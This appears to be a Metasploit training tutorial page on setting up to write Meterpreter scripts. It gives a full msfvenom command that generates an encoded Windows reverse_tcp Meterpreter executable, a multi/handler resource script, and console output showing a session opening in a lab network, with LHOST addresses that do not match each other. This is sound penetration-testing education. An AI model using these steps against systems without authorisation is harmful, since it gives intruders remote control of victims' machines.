Writing Meterpreter Scripts a11y.text Writing Meterpreter Scripts There are a few things you need to keep in mind when creating a new Meterpreter script. Not all versions of Windows are the same Some versions of Windows have security countermeasures for some of the commands Not all command line tools are in all versions of Windows Some of the command line tools switches vary depending on the version of Windows In short, the same constraints that you have when working with standard exploitation methods. MSF can be of great help, but it canâ€™t change the fundamentals of that target. Keeping this in mind can save a lot of frustration down the road. So keep your targetâ€™s Windows version and service pack in mind, and build to it. For our purposes, we are going to create a stand alone binary that will be run on the target system that will create a reverse Meterpreter shell back to us. This will rule out any problems with an exploit as we work through our script development. root@kali : ~ # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST = 192.168 .1.101 -b " \x00 " -f exe -o Meterpreter.exe

Found 10 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 326 (iteration=0)

x86/shikata_ga_nai chosen with final size 326

Payload size: 326 bytes

Saved as: Meterpreter.exe Wonderful. Now, we move the executable to our Windows machine that will be our target for the script we are going to write. We just have to set up our listener. To do this, lets create a short script to start up multi-handler for us. root@kali : ~ # touch meterpreter.rc root@kali : ~ # echo use exploit/multi/handler >> meterpreter.rc root@kali : ~ # echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc root@kali : ~ # echo set LHOST 192.168 .1.184 >> meterpreter.rc root@kali : ~ # echo set ExitOnSession false >> meterpreter.rc root@kali : ~ # echo exploit -j -z >> meterpreter.rc root@kali : ~ # cat meterpreter.rc use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.184

set ExitOnSession false

exploit -j -z Here we are using the exploit/multi/handler to receive our payload, we specify that the payload is a Meterpreter reverse_tcp payload, we set the payload option, we make sure that the multi handler will not exit once it receives a session since we might need to re-establish one due to an error or we might be testing under different versions of Windows from different target hosts. While working on the scripts, we will save the test scripts to /usr/share/metasploit-framework/scripts/meterpreter so that they can be run. Now, all that remains is to start up msfconsole with our our resource script. root@kali : ~ # msfconsole -r meterpreter.rc =[metasploit v4.8.2-2014021901 [core:4.8 api:1.0]]

+ -- --=[1265 exploits - 695 auxiliary - 202 post]

+ -- --=[330 payloads - 32 encoders - 8 nops]

resource> use exploit/multi/handler

resource> set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

resource> set LHOST 192.168.1.184

LHOST => 192.168.1.184

resource> set ExitOnSession false

ExitOnSession => false

resource> exploit -j -z

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler... As can be seen above, Metasploit is listening for a connection. We can now execute our executable in our Windows host and we will receive a session. Once the session is established, we use the sessions command with the â€“i switch and the number of the session to interact with: [*] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.104:1043)

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > Next Custom Scripting Prev Existing Scripts